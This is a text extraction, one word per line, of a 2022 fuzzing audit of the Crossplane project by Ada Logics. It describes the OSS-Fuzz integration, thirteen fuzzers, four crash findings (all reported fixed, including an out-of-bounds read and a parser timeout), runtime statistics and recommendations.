\nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1f3c540?,\n0x10c00013b4e0?,\n0x0?},\n{0x1da6580?, \n0x10c0002b85b0?,\n0x0?}) \n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:655\n+0x19a \nk8s.io/apimachinery/pkg/runtime.structT oUnstructured({0x1de9c00?,\n0x10c00013b4e0?,\n0x6305b0?}, \n{0x1da6580?,\n0x10c0002b8570?,\n0x10c000017668?}) \n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:843\n+0xb91 \nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1de9c00?,\n0x10c00013b4e0?,\n0xa?},\n{0x1da6580?, \n0x10c0002b8570?,\n0x98?}) \n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:692\n+0x119f \nk8s.io/apimachinery/pkg/runtime.structT oUnstructured({0x1edae00?,\n0x10c00013b380?,\n0x1005c85e5?}, \n{0x1dbbe40?,\n0x10c00012c688?,\n0x0?}) \n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:843\n+0xb91 \nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1edae00?,\n0x10c00013b380?,\n0x10c00013b380?}, \n{0x1dbbe40?,\n0x10c00012c688?,\n0x7f89fe5604d0?})\n15Crossplane\nfuzzing\naudit\n2022\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:692\n+0x119f \nk8s.io/apimachinery/pkg/runtime.(*unstructuredConverter).T oUnstructured(0x3337830,\n{0x1f3acc0?, \n0x10c00013b380})\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:586\n+0x6f6 \ngithub.com/crossplane/crossplane-runtime/pkg/fieldpath.PaveObject({0x1f48288?,\n0x10c00013b380?}) \n github.com/crossplane/crossplane-runtime@v0.18.0-rc.0.0.20220722162506-9ea84ae53615/pkg/fieldpath/p\naved.go:55\n+0x52 \ngithub.com/crossplane/crossplane/apis/apiextensions/v1.patchFieldV alueToObject({0x0,\n0x0},\n{0x0,\n0x0}, \n{0x1f48288?,\n0x10c00013b380},\n0x0?) \n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:199\n+0x5d \ngithub.com/crossplane/crossplane/apis/apiextensions/v1.(*Patch).applyFromFieldPathPatch(0x10c00003d450,\n{0x1f48260?,\n0x10c0004677a0?},\n{0x1f48288,\n0x10c00013b380}) \n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:253\n+0x2e5 \ngithub.com/crossplane/crossplane/apis/apiextensions/v1.(*Patch).Apply(0x10c00003d450,\n{0x1f48260, \n0x10c0004677a0},\n{0x1f48288,\n0x10c00013b380},\n{0x0,\n0x0,\n0x0?}) \n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:129\n+0x4a5 \ngithub.com/crossplane/crossplane/apis/apiextensions/v1.FuzzPatchApply({0x603000001900,\n0x16,\n0x16}) \n github.com/crossplane/crossplane/apis/apiextensions/v1/patch_fuzzer .go:84\n+0x425\n16Crossplane\nfuzzing\naudit\n2022\n3 :\nM i s s i n g\ns l i c e\nl e n g t h\nc h e c k s\nc a u s e s\no u t\no f\nb o u n d s\nr e a d\nID\nADA-CROSS-FUZZ-3\nSeverity\nLow\nFixed\nYes\nFuzzerFuzzNewCompositionRevision\nOSS-Fuzz\nbug\ntracker:\n●\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53815\nDescription\nNewCompositionRevision\nreads\nthe\nfirst\nbytes\nof\nthe\ncompSpecHash\nwithout\nchecking\nthe\nlength\nfirst.\nIf\nthe\ncompSpecHash\nis\ntoo\nshort,\nan\nout\nof\nbounds\nread\npanic\nwill\noccur:\nhttps://github.com/crossplane/crossplane/blob/8c77706ff8b180b3bb4cd43920a8afce85dfe312/int\nernal/controller/apiextensions/composition/revision.go#L31-L53\nfuncNewCompositionRevision(c*v1.Composition,revisionint64,compSpecHashstring)*v1beta1.CompositionRevision{cr:=&v1beta1.CompositionRevision{ObjectMeta:metav1.ObjectMeta{Name:fmt.Sprintf(\"%s-%s\",c.GetName(),compSpecHash[0:7]),Labels:map[string]string{v1beta1.LabelCompositionName:c.GetName(),//Wecannothavealabelvaluelongerthan63chars//https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#syntax-and-character-setv1beta1.LabelCompositionHash:compSpecHash[0:63],},},Spec:NewCompositionRevisionSpec(c.Spec,revision),}\nref:=meta.TypedReferenceTo(c,v1.CompositionGroupVersionKind)meta.AddOwnerReference(cr,meta.AsController(ref))\nfork,v:=rangec.GetLabels(){cr.ObjectMeta.Labels[k]=v}\nreturncr}\n17Crossplane\nfuzzing\naudit\n2022\n4 :\nT i m e\no u t\ni n\n3 r d - p a r t y\nd e p e n d e n c y\nID\nADA-CROSS-FUZZ-4\nSeverity\nModerate\nFixed\nYes\nFuzzerFuzzParse\nOSS-Fuzz\nbug\ntracker:\n●\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49192\nDescription\nFuzzParse\n,\nwhich\ntests\na\n3rd-party\nparsing\nroutine,\nfound\nthat\na\nparticularly\nwell-cra\u0000ed\nstring\ncould\ncause\nthe\nparser\nto\nspend\nexcessive\ntime\non\na\nsingle\nrequest\ninvocation.\nAt\nthe\ntime\nof\nthe\naudit,\nCrossplane\nuses\nthegithub.com/google/go-containerregistry/pkg/name.ParseReference()\nthe\nfollowing\nplaces:\n●\nhttps://github.com/crossplane/crossplane/blob/master/internal/initializer/installer.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/cmd/crank/update.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/manager/r\nevisioner.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/cmd/crank/install.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/revision/i\nmageback.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/revision/d\nependency.go\n●\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/resolver/r\neconciler.go\n18Crossplane\nfuzzing\naudit\n2022\nRuntime\nstats\nAll\nfuzzers\nwritten\nduring\nthis\naudit\nwere\nadded\nad-hoc\nto\nCrossplanes\nOSS-Fuzz\nintegration.\nOSS-Fuzz\nran\nthe\nfuzzers\ncontinuously\nand\nreported\nthe\nissues\nvia\nemail\nto\nthe\nmaintainers.\nIn\nthis\ntable\nwe\npresent\nthe\nruntime\nstats\nas\nof\nthe\n30th\nDecember\n2022\nfor\neach\nfuzzer.\n#\nName\nTimes\nexecuted\nTotal\nruntime\nhours\n1FuzzPatchApply11,337,642146.2\n2FuzzTransform103,067,031373.2\n3FuzzParse181,758,787411.3\n4FuzzPropagateConnection538,134,219316.9\n5FuzzNewCompositionRevision22,7560.3\n6FuzzAsComposition394,622,293365.1\n7FuzzPackageRevision458,470,899348.5\n8FuzzGCRExtract1,062,095,023373.9\n9FuzzParseReference343,394,432332.9\n10FuzzForCompositeResource906,398,749309.6\n11FuzzForCompositeResourceClaim1,220,542,269375.8\n12FuzzFindXpkgInDir294,206,967380.3\n13FuzzDag3,050,774,637378.9\n19Crossplane\nfuzzing\naudit\n2022\nC o n c l u s i o n s\na n d\nf u t u r e\nw o r k\nIn\nthis\naudit,\nAda\nLogics\ninitiated\nand\nimproved\ncrossplanes\nfuzzing\nefforts.\nThe\nefforts\nresulted\nin\n13\nfuzzers,\n4\nissues\nfound\nand\nan\nOSS-Fuzz\nintegration\nwith\nsupport\nfor\ncontinuous\ntesting\nand\nCI\nintegration.\n4\nissues\nis\na\nlow\namount\nfor\na\nfuzzing\naudit,\nand\ncredit\ngoes\nto\nthe\nCrossplane\nteam\nfor\ndeveloping\nand\nmaintaining\na\nhigh\nlevel\nof\ncode\nquality\nthroughout\nthe\nCrossplane\ncode\nbase.\nFuzzing\nhas\nadded\nvalue\nto\nthe\nCrossplane\necosystem\nby\nidentifying\ntwo\nvulnerabilities\nand\ncontinued\ntesting\nby\nOSS-Fuzz.\nFuzzing\nis\na\ncontinuous\ndiscipline,\nand\nwe\nrecommend\nthat\nCrossplane\ntakes\nthe\nfollowing\nsteps\nmoving\nforward:\nMaintaining\nthe\nfuzzers\nThe\nfuzzers\nshould\nkeep\nrunning\nwithout\nbreaking\nto\nkeep\ntesting\nthe\ncode\nfor\nharder-to-find\nbugs\nand\nbuild\nup\nthe\ncorpus.\nOver\ntime,\nCrossplanes\nfuzzing\nsuite\nwill\nimprove\npassively\nfrom\nnew\nfeatures\nin\nfuzzing\nas\nthe\nindustry\nis\nworking\nto\nimplement\nnew\nbug\ndetectors\ninto\nfuzzing.\nThese\nwill\nbe\nadded\nin\na\nnon-intrusive\nway,\nmeaning\nthat\nas\nlong\nas\nCrossplanes\nfuzzers\nrun\ncontinuously,\nthey\nwill\nover\ntime\ntest\nfor\nmore\nclasses\nof\nbugs.\nImprove\ncoverage\nWe\nrecommend\nmaking\nit\na\ncontinuous\neffort\nto\nidentify\nmissing\ntest\ncoverage\nof\nthe\nfuzzers.\nThis\ncan\nbe\ndone\nusing\nthe\ncode\ncoverage\nvisualisations\nprovided\nby\nOSS-Fuzz.\nRequire\nfuzzers\nfor\nnew\ncode\nWe\nrecommend\nthat\nnew\ncode\ncontributions\nare\nrequired\nto\nbe\naccompanied\nby\nfuzz\ntests.\nThis\nwill\nboth\nensure\nthat\nnew\ncode\ngets\ntested\nfrom\nthe\nmoment\nit\ngets\nmerged\ninto\nCrossplane,\nand\nit\nwill\nensure\nthat\nthe\nfuzzer\nis\nwritten\nby\nthe\ndeveloper\nitself.\nWe\nthank\nthe\nLinux\nFoundation\nfor\nsponsoring\nthis\nproject\nas\nwell\nas\nthe\nteam\nat\nCrossplane\nfor\na\nfruitful\nand\nenjoyable\ncollaboration.\nWe\nalso\nthank\nthe\nmaintainers\nand\nteam\nof\nOSS-Fuzz\nfor\ntheir\nefforts\nin\nmaking\nopen\nsource\nfuzzing\npossible\nin\nthis\nmanner.\n20"}],"string":"[\n {\n \"data\": \"P R E S E N T S \\nC r o s s p l a n e\\nF u z z i n g\\nA u d i t\\nIn\\ncollaboration\\nwith\\nthe\\nCrossplane\\nproject\\nmaintainers\\nand\\nThe\\nLinux\\nFoundation\\nA u t h o r s\\nAdam\\nKorczynski\\n<\\nadam@adalogics.com\\n>\\nDavid\\nKorczynski\\n<\\ndavid@adalogics.com\\n>\\nDate:\\n23rd\\nMarch,\\n2023\\nThis\\nreport\\nis\\nlicensed\\nunder\\nCreative\\nCommons\\n4.0\\n(CC\\nBY\\n4.0)\\nCrossplane\\nfuzzing\\naudit\\n2022\\nC N C F\\ns e c u r i t y\\na n d\\nf u z z i n g\\na u d i t s\\nThis\\nreport\\ndetails\\na\\nfuzzing\\naudit\\ncommissioned\\nby\\nthe\\nCNCF\\nand\\nthe\\nengagement\\nis\\npart\\nof\\nthe\\nbroader\\nefforts\\ncarried\\nout\\nby\\nCNCF\\nin\\nsecuring\\nthe\\nso\\u0000ware\\nin\\nthe\\nCNCF\\nlandscape.\\nDemonstrating\\nand\\nensuring\\nthe\\nsecurity\\nof\\nthese\\nso\\u0000ware\\npackages\\nis\\nvital\\nfor\\nthe\\nCNCF\\necosystem\\nand\\nthe\\nCNCF\\ncontinues\\nto\\nuse\\nstate\\nof\\nthe\\nart\\ntechniques\\nto\\nsecure\\nits\\nprojects\\nas\\nwell\\nas\\ncarrying\\nout\\nmanual\\naudits.\\nOver\\nthe\\nlast\\nhandful\\nof\\nyears,\\nCNCF\\nhas\\nbeen\\ninvesting\\nin\\nsecurity\\naudits,\\nfuzzing\\nand\\nso\\u0000ware\\nsupply\\nchain\\nsecurity\\nthat\\nhas\\nhelped\\nproactively\\ndiscover\\nand\\nfix\\nhundreds\\nof\\nissues.\\nFuzzing\\nis\\na\\nproven\\ntechnique\\nfor\\nfinding\\nsecurity\\nand\\nreliability\\nissues\\nin\\nso\\u0000ware\\nand\\nthe\\nefforts\\nso\\nfar\\nhave\\nenabled\\nfuzzing\\nintegration\\ninto\\nmore\\nthan\\ntwenty\\nCNCF\\nprojects\\nthrough\\na\\nseries\\nof\\ndedicated\\nfuzzing\\naudits.\\nIn\\ntotal,\\nmore\\nthan\\n350\\nbugs\\nhave\\nbeen\\nfound\\nthrough\\nfuzzing\\nof\\nCNCF\\nprojects.\\nThe\\nfuzzing\\nefforts\\nof\\nCNCF\\nhave\\nfocused\\non\\nenabling\\ncontinuous\\nfuzzing\\nof\\nprojects\\nto\\nensure\\ncontinued\\nsecurity\\nanalysis,\\nwhich\\nis\\ndone\\nby\\nway\\nof\\nthe\\nopen\\nsource\\nfuzzing\\nproject\\nOSS-Fuzz\\n1\\n.\\nCNCF\\ncontinues\\nwork\\nin\\nthis\\nspace\\nand\\nwill\\nfurther\\nincrease\\ninvestment\\nto\\nimprove\\nsecurity\\nacross\\nits\\nprojects\\nand\\ncommunity.\\nThe\\nfocus\\nfor\\nfuture\\nwork\\nis\\nintegrating\\nfuzzing\\ninto\\nmore\\nprojects,\\nenabling\\nsustainable\\nfuzzer\\nmaintenance,\\nincreasing\\nmaintainer\\ninvolvement\\nand\\nenabling\\nfuzzing\\nto\\nfind\\nmore\\nvulnerabilities\\nin\\nmemory\\nsafe\\nlanguages.\\nMaintainers\\nwho\\nare\\ninterested\\nin\\ngetting\\nfuzzing\\nintegrated\\ninto\\ntheir\\nprojects\\nor\\nhave\\nquestions\\nabout\\nfuzzing\\nare\\nencouraged\\nto\\nvisit\\nthe\\ndedicated\\ncncf-fuzzing\\nrepository\\nhttps://github.com/cncf/cncf-fuzzing\\nwhere\\nquestions\\nand\\nqueries\\nare\\nwelcome.\\n1\\nhttps://github.com/google/oss-fuzz\\n1Crossplane\\nfuzzing\\naudit\\n2022\\nEx ecutive\\nsummary\\nIn\\nJuly\\n2022,\\nAda\\nLogics\\nstarted\\na\\nfuzzing\\naudit\\nof\\nCrossplane.\\nThe\\ngoal\\nof\\nthe\\naudit\\nwas\\nto\\nimprove\\nCrossplanes\\nfuzzing\\nefforts.\\nAt\\nthe\\ntime\\nthe\\naudit\\nstarted,\\nCrossplane\\nhad\\nnot\\ndone\\nany\\nprior\\nfuzz\\ntesting,\\nand\\nthe\\naudit\\nbegan\\nwith\\nintegrating\\nCrossplane\\ninto\\nOSS-Fuzz\\n-\\nGoogles\\nopen\\nsource\\nproject\\nthat\\nruns\\nthe\\nfuzzers\\nof\\ncritical\\nopen\\nsource\\nprojects\\nand\\nreports\\nissues\\nto\\nmaintainers\\nif\\nthe\\nfuzzers\\ndetect\\nany.\\nOnce\\nCrossplane\\nwas\\nintegrated\\ninto\\nOSS-Fuzz,\\nAda\\nLogics\\nbegan\\nassessing\\nCrossplanes\\ncode\\nbase\\nto\\ndetermine\\nwhich\\nentrypoints\\nthe\\nfuzzers\\nshould\\ntarget.\\nIn\\ntotal\\nthree\\ncode\\nassets\\nwere\\ntested\\nin\\nthis\\naudit:\\nhttps://github.com/crossplane/crossplane:\\nThe\\ncore\\nCrossplane\\nrepository.\\nhttps://github.com/crossplane/crossplane-runtime:\\nA\\nset\\nof\\ngo\\nlibraries\\nused\\nto\\nbuild\\ncontrollers\\nin\\nthe\\nCrossplane\\nstack.\\ngithub.com/google/go-containerregistry:\\nA\\n3rd-party\\ndependency\\nthat\\nhandles \\ncomplex\\nparsing\\nfor\\nCrossplane\\nAll\\nfuzzers\\nwere\\nmerged\\ninto\\nthe\\ncncf-fuzzing\\nrepository,\\nhttps://github.com/cncf/cncf-fuzzing\\n,\\nfrom\\nwhich\\nOSS-Fuzz\\nwould\\npull\\nthem\\nand\\ntest\\nagainst\\nthe\\nlatest\\nmaster\\nbranches\\nof\\nthe\\nthree\\nrepositories\\nbeing\\ntested.\\nAda\\nLogics\\ncreated\\na\\nPR\\nfor\\nCI\\nintegration,\\nso\\nthat\\nthe\\nfuzzers\\ncan\\ntest\\nnew\\ncode\\ncontributions\\nto\\nCrossplane:\\nhttps://github.com/crossplane/crossplane/pull/3553\\n.\\nThe\\naudit\\nfound\\n4\\nissues:\\n2\\nin\\nCrossplane\\nand\\n2\\nin\\n3rd-party\\ndependencies.\\nResults\\nsummarised\\n13\\nfuzzers\\nwritten\\nfor\\nCrossplane\\n4\\nissues\\nfound\\nAll\\nfuzzers\\nintegrated\\ninto\\nOSS-Fuzz\\n2\\nsecurity\\nvulnerabilities\\nfound\\nby\\nthe\\nfuzzers\\nFuzzers\\nsupported\\nby\\nCrossplanes\\nCI\\n2Crossplane\\nfuzzing\\naudit\\n2022\\nT able\\nof\\nContents\\nCNCF\\nsecurity\\nand\\nfuzzing\\naudits\\n1\\nExecutive\\nsummary\\n2\\nTable\\nof\\nContents\\n3\\nProject\\nSummary\\n4\\nCrossplane\\nfuzzing\\n5\\nIssues\\nfound\\nby\\nfuzzers\\n10\\nRuntime\\nstats\\n19\\nConclusions\\nand\\nfuture\\nwork\\n20\\n3Crossplane\\nfuzzing\\naudit\\n2022\\nP r o j e c t\\nS u m m a r y\\nAda\\nLogics\\nauditors\\nName\\nTitle\\nEmail\\nAdam\\nKorczynski\\nSecurity\\nEngineer\\nAdam@adalogics.com\\nDavid\\nKorczynski\\nSecurity\\nResearcher\\nDavid@adalogics.com\\nCrossplane\\nmaintainers\\ninvolved\\nin\\nthe\\naudit\\nName\\nTitle\\nEmail\\nPhilippe\\nScorsolini\\nSenior\\nSo\\u0000ware\\nEngineer\\nphilippe.scorsolini@upbound.io\\nJared\\nWatts\\nSteering\\nCommittee\\nand \\nCrossplane\\nMaintainer\\njared@upbound.io\\nAlper\\nUlucinar\\nStaff\\nSo\\u0000ware\\nEngineer\\nalper@upbound.io\\nNic\\nCope\\nCrossplane\\nSteering \\nCommittee\\nnegz@upbound.io\\nAssets\\nUrl\\nBranch\\nhttps://github.com/crossplane/crossplanemaster\\nhttps://github.com/crossplane/crossplane-runtimemaster\\nhttps://github.com/google/go-containerregistrymain\\n4Crossplane\\nfuzzing\\naudit\\n2022\\nCrossplane\\nfuzzing\\nIn\\nthis\\nsection\\nwe\\npresent\\ndetails\\non\\nCrossplaneʼs\\nfuzzing\\nsetup,\\nand\\nin\\nparticular\\nthe\\noverall\\nfuzzing\\narchitecture\\nas\\nwell\\nas\\nthe\\nspecific\\nfuzzers\\ndeveloped.\\nArchitecture\\nA\\ncentral\\ncomponent\\nin\\nCrossplaneʼs\\nfuzzing\\nsuite\\nis\\ncontinuous\\nfuzzing\\nby\\nway\\nof\\nOSS-Fuzz.\\nCrossplaneʼs\\nupstream\\nsource\\ntree\\nis\\nthe\\nkey\\nso\\u0000ware\\npackage\\nthat\\nOSS-Fuzz\\nuses\\nto\\nfuzz\\nCrossplane.\\nThe\\nfollowing\\nfigure\\ngives\\nan\\noverview\\nof\\nhow\\nOSS-Fuzz\\nuses\\nCrossplaneʼs\\nupstream\\nrepository\\nand\\nwhat\\nhappens\\nwhen\\nan\\nissue\\nis\\nfound/fixed.\\nFigure0.1:Crossplane’sfuzzingarchitecture\\n5\\nCrossplane\\nfuzzing\\naudit\\n2022\\nThe\\ncurrent\\nOSS-Fuzz\\nsetup\\nbuilds\\nthe\\nfuzzers\\nby\\ncloning\\nthe\\nupstream\\nCrossplane\\nGithub\\nrepository\\nto\\nget\\nthe\\nlatest\\nCrossplane\\nsource\\ncode\\nand\\nthen\\nbuilds\\nthe\\nfuzzers\\nin\\nthe\\ncloned\\nCrossplane\\nsource\\ntree.\\nAs\\nsuch,\\nthe\\nfuzzers\\nare\\nalways\\nrun\\nagainst\\nthe\\nlatest\\nCrossplane\\ncommit.\\nThis\\nbuild\\ncycle\\nhappens\\ndaily\\nand\\nOSS-Fuzz\\nwill\\nverify\\nif\\nany\\nexisting\\nbugs\\nhave\\nbeen\\nfixed.\\nIf\\nOSS-fuzz\\nfinds\\nthat\\nany\\nbugs\\nhave\\nbeen\\nfixed,\\nOSS-Fuzz\\nmarks\\nthe\\ncrashes\\nas\\nfixed\\nin\\nthe\\nMonorail\\nbug\\ntracker\\nand\\nnotifies\\nthe\\nCrossplane\\nmaintainers.\\nIn\\neach\\nfuzzing\\niteration,\\nOSS-Fuzz\\nuses\\nits\\ncorpus\\naccumulated\\nfrom\\nprevious\\nfuzz\\nruns.\\nIf\\nOSS-Fuzz\\ndetects\\nany\\ncrashes\\nwhen\\nrunning\\nthe\\nfuzzers,\\nOSS-Fuzz\\nperforms\\nthe\\nfollowing\\nactions:\\n1.\\nA\\ndetailed\\ncrash\\nreport\\nis\\ncreated.\\n2.\\nAn\\nissue\\nin\\nthe\\nbug\\ntracker\\nis\\ncreated.\\n3.\\nAn\\nemail\\nis\\nsent\\nto\\nmaintainers\\nwith\\nlinks\\nto\\nthe\\nreport\\nand\\nrelevant\\nentry\\nin\\nthe\\nbug\\ntracker.\\nOSS-Fuzz\\nhas\\na\\n90\\nday\\ndisclosure\\npolicy,\\nmeaning\\nthat\\na\\nbug\\nbecomes\\npublic\\nin\\nthe\\nbug\\ntracker\\nif\\nit\\nhas\\nnot\\nbeen\\nfixed.\\nThe\\ndetailed\\nreport\\nis\\nnever\\nmade\\npublic.\\nThe\\nCrossplane\\nmaintainers\\nwill\\nfix\\nissues\\nupstream,\\nand\\nOSS-Fuzz\\nwill\\npull\\nthe\\nlatest\\nCrossplane\\nmaster\\nbranch\\nthe\\nnext\\ntime\\nit\\nperforms\\na\\nfuzz\\nrun\\nand\\nverify\\nthat\\na\\ngiven\\nissue\\nhas\\nbeen\\nfixed.\\nFuzzers\\nAda\\nLogics\\nwrote\\n13\\nfuzzers\\nduring\\nthe\\nfuzzing\\naudit.\\nIn\\nthis\\nsection\\nwe\\npresent\\na\\nhighlight\\nof\\nthe\\nfuzzers\\nand\\nwhich\\nparts\\nof\\nCrossplane\\nthey\\ntest.\\nO v e r v i e w\\n#\\nName\\nPackage\\n1FuzzPatchApplygithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\\n2FuzzTransformgithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\\n3FuzzParsegithub.com/crossplane/crossplane/internal/xpkg\\n4FuzzPropagateConnectiongithub.com/crossplane/crossplane/internal/controller/apiextensions/claim\\n5FuzzNewCompositionRevisiongithub.com/crossplane/crossplane/internal/controller/apiextensions/composition\\n6FuzzAsCompositiongithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\\n7FuzzPackageRevisiongithub.com/crossplane/crossplane/internal/controller/pkg/manager\\n8FuzzGCRExtract*github.com/crossplane/crossplane/internal/controller/pkg/revision\\n6Crossplane\\nfuzzing\\naudit\\n2022\\n9FuzzParseReference*github.com/crossplane/crossplane/internal/controller/pkg/revision\\n10FuzzForCompositeResourceXcrdgithub.com/crossplane/crossplane/internal/xcrd\\n11FuzzForCompositeResourceClaimgithub.com/crossplane/crossplane/internal/xcrd\\n12FuzzFindXpkgInDirgithub.com/crossplane/crossplane/internal/xpkg\\n13FuzzDaggithub.com/crossplane/crossplane/internal/dag\\n*\\nRemoved\\na\\u0000er\\nthe\\naudit.\\nT a r g e t\\nA P I s\\n1 :\\nF u z z P a t c h A p p l y\\nInvokesgithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.Apply()\\nwith\\na\\npseudo-randomizedPatch\\nand\\ntwo\\nmocked\\ntypes\\nasComposite\\nandComposed\\nrespectively.\\n2 :\\nF u z z T r a n s f o r m\\nCreates\\na\\npseudo-randomizedgithub.com/crossplane/crossplane/apis/apiextensions/v1.Transform\\nand\\npasses\\nit\\ntogithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.Resolve()\\ntogether\\nwith\\na\\npseudo-random\\nstring\\nas\\nthe\\nsecond\\nparameter.\\n3 :\\nF u z z P a r s e\\nTests\\nthe\\nCrossplane\\nRuntime\\nparser\\nwith\\naNopCloser\\ncontaining\\nthe\\ntestcase\\nfrom\\nthe\\nfuzzer.\\n4 :\\nF u z z P r o p a g a t e C o n n e c t i o n\\nTestsgithub.com/crossplane/crossplane/internal/controller/apiextensions/claim.(a*APIConnectionPropagator).PropagateConnection()\\n.\\nThe\\nfuzzer\\ncreates\\nanAPIConnectionPropagator\\nwith\\na\\nmock\\nclient\\nand\\ninvokes\\nitsPropagateConnection()\\nmethod\\nwith\\na\\npseudo-randomizedComposite\\nandComposed\\n.\\n5 :\\nF u z z N e w C o m p o s i t i o n R e v i s i o n\\nInvokesgithub.com/crossplane/crossplane/internal/controller/apiextensions/composition.NewCompositionRevision()\\nwith\\npseudo-randomizedrevision\\nandcompSpecHash\\nparameters.\\n6 :\\nF u z z A s C o m p o s i t i o n\\nRandomizes\\nagithub.com/crossplane/crossplane/apis/apiextensions/v1beta1.CompositionRevision\\nand\\npasses\\nit\\nto\\n7Crossplane\\nfuzzing\\naudit\\n2022\\ngithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.AsComposition()\\n.\\n7 :\\nF u z z P a c k a g e R e v i s i o n\\nHas\\ntwo\\ntargets:github.com/crossplane/crossplane/internal/controller/pkg/manager.(r*PackageRevisioner).Revision()\\nandgithub.com/crossplane/crossplane/internal/xpkg.FriendlyID()\\n.\\nTo\\ninvokeRevision()\\n,\\nthe\\nfuzzer\\ncreates\\na*PackageRevisioner\\nwith\\na\\nmock\\nfetcher.\\nIt\\nthen\\ninvokesRevision()\\nwith\\na\\npseudo-randomizedgithub.com/crossplane/crossplane/apis/pkg/v1.Provider\\n.\\nA\\u0000er\\nthat,\\nthe\\nfuzzer\\nproceeds\\nto\\ncreating\\ntwo\\nstrings\\nand\\npassing\\nthem\\nontoFriendlyID()\\n.\\n8 :\\nF u z z G C R E x t r a c t *\\nTests\\nthe\\n3rd-party\\nAPI\\nused\\nby\\nCrossplane:github.com/google/go-containerregistry/pkg/v1/mutate.Extract()\\n.\\nThe\\nfuzzer\\ncreates\\na\\ntar\\nfile\\nthat\\nit\\nthen\\npasses\\nto\\nthe\\ntarget\\nAPI\\nto\\nbe\\nextracted.\\n9 :\\nF u z z P a r s e R e f e r e n c e *\\nTests\\nthe\\n3rd-party\\nAPI\\nused\\nby\\nCrossplane:github.com/google/go-containerregistry/pkg/name.ParseReference()\\n.\\nThe\\ntestcase\\nfrom\\nthe\\nfuzzer\\nis\\npassed\\nto\\nthe\\ntarget\\nAPI.\\n1 0 :\\nF u z z F o r C o m p o s i t e R e s o u r c e X c r d\\nTestsgithub.com/crossplane/crossplane/internal/xcrd.ForCompositeResourceXcrd()\\nby\\ncreating\\na\\npseudo-randomgithub.com/crossplane/crossplane/apis/apiextensions/v1.CompositeResourceDefinition\\nand\\npassing\\nit\\nto\\nthe\\ntarget\\nAPI.\\n1 1 :\\nF u z z F o r C o m p o s i t e R e s o u r c e C l a i m\\nTestsgithub.com/crossplane/crossplane/internal/xcrd.FuzzForCompositeResourceClaim()\\nby\\ncreating\\na\\npseudo-randomgithub.com/crossplane/crossplane/apis/apiextensions/v1.CompositeResourceDefinition\\nand\\npassing\\nit\\nto\\nthe\\ntarget\\nAPI.\\n1 2 :\\nF u z z F i n d X p k g I n D i r\\nThe\\ngoal\\nof\\nthis\\nfuzzer\\nis\\nto\\ntestgithub.com/crossplane/crossplane/internal/xpkg.FindXpkgInDir()\\nandgithub.com/crossplane/crossplane/internal/xpkg.ParseNameFromMeta()\\n.\\nThe\\nfuzzer\\nprepares\\nagithub.com/spf13/afero.MemMapFs\\nand\\ncreates\\npseudo-random\\nfiles\\nin\\nit.\\nTheMemMapFs\\nis\\nthen\\npassed\\nto\\nthe\\ntwo\\ntarget\\nAPIs\\nas\\nthe\\nfirst\\nargument\\nand“/”\\nas\\nthe\\nsecond.\\n8Crossplane\\nfuzzing\\naudit\\n2022\\n1 3 :\\nF u z z D a g\\nTestsMapDag\\ninitialization\\nby\\ncreating\\na\\nslice\\nof\\npseudo-random\\nnodes\\nand\\npassing\\nit\\ntogithub.com/crossplane/crossplane/internal/dag.(d*MapDag).Init()\\n.\\n*\\nRemoved\\na\\u0000er\\nthe\\naudit.\\n9Crossplane\\nfuzzing\\naudit\\n2022\\nIssues\\nfound\\nby\\nfuzzers\\nThe\\naudit\\nresulted\\nin\\n4\\nunique\\nissues.\\nSome\\nof\\nthese\\nwere\\nreported\\nwith\\nmultiple\\nsimilar\\ncrashes\\nby\\nOSS-Fuzz.\\nThis\\nhappens\\nfor\\nseveral\\nreasons:\\nFor\\nexample,\\nchanges\\nin\\nCrossplane\\nmeant\\nthat\\na\\ncrash\\nwas\\nmoved\\nfrom\\none\\nplace\\nto\\nanother\\nin\\nthe\\ncodebase\\ncausing\\na\\ntestcase\\nto\\nbe\\ninvalid\\nand\\na\\nnew\\none\\nto\\nbe\\nvalid.\\nAda\\nLogics\\nassessed\\nall\\ncrashes\\nreported\\nby\\nOSS-Fuzz\\nand\\nhave\\nonly\\nincluded\\nthe\\nunique\\nones\\nin\\nthis\\nreport.\\n#\\nID\\nTitle\\nSeverity\\nFixed\\n1\\nADA-CROSS-FUZZ-1\\nUser-controlled\\nvariable\\ndetermines\\nslice\\nsize\\nHigh\\nYes\\n2\\nADA-CROSS-FUZZ-2\\nruntime.DefaultUnstructuredConverter.ToUnstructur \\ned\\npanics\\nif\\nif\\na\\npointer-typed\\nfield\\nwithout \\nomitempty\\nspecifier\\nis\\nattempted\\nto\\nbe\\nconverted\\nModerate\\nYes\\n3\\nADA-CROSS-FUZZ-3\\nMissing\\nslice\\nlength\\nchecks\\ncauses\\nout\\nof\\nbounds 